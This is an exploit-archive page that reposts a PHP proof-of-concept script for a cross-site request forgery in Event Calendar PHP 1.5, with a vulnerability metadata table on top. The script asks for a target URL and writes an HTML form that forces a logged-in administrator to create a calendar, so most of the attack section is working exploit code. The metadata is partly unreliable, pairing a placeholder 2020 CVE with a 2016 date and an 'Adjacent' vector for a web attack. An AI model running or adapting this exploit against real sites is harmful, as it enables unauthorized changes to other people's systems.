Advertisement

Event Calendar PHP 1.5 Cross Site Request Forgery

CVE	Category	Price	Severity
CVE-2020-XXXX	CWE-352	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2016-10-22

CVSS	EPSS	EPSSP
CVSS:4.0/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Adjacent	AV	The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	Low	A	There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016100208

Below is a copy:

Event Calendar PHP 1.5 Cross Site Request Forgery<?php
#=====================================================
# Event Calendar PHP 1.5 - Cross-Site Request Forgery
#=====================================================
# Vendor Homepage: http://eventcalendarphp.com/
# Date: 21 Oct 2016
# Demo Link : http://eventcalendarphp.com/eventcalendar/admin.php
# Version : 1.5
# Platform : WebApp - PHP
# Author: Ashiyane Digital Security Team
# Contact: [email protected]
#=====================================================
print "
#######################################################################
#                   Event Calendar PHP 1.5 CSRF              #
#                   Discovered By Ehsan Hosseini                      #
#                  Ashiyane Digital Security Team                     #
#                          We Love Leader                             #
#######################################################################\n\n";
print 'Enter Site Url (localhost): ';
$site = htmlspecialchars(trim(fgets(STDIN,256)));
print 'Enter Calender Name: ';
$cal_name = htmlspecialchars(trim(fgets(STDIN,256)));
print 'Enter Description Name: ';
$description = htmlspecialchars(trim(fgets(STDIN,256)));

$poc = "<html>
<!-- CSRF PoC -->
<body>
<form action='http://$site/admin.php' method='post' name='form' enctype='multipart/form-data'>
<input type='hidden' name='act' value='addCal'>
<input type='hidden' name='cal_name' value='$cal_name'>
<input type='hidden' name='description' value='$description'>
<input name='submit' type='submit' value='Create Calendar'>
</form>
</body>
</html>";
print 'Enter Exploit name (csrfpoc)';
$pocname = trim(fgets(STDIN,256));

$exploit = fopen("$pocname.html", "w");
fwrite($exploit, $poc);
fclose($exploit);
#=====================================================
# Discovered By : Ehsan Hosseini
#=====================================================
?>

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum